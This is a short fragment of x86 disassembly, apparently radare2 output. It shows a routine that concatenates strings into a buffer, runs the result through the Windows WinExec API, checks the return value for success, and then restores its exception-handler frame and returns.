mov dword [esp + 0x21c], 0xffffffff
call fcn.004bcbf6
xor eax, eax
jmp 0x416aaf
mov byte [esi], 0
push 0x523cf8
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.004bcbf6
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4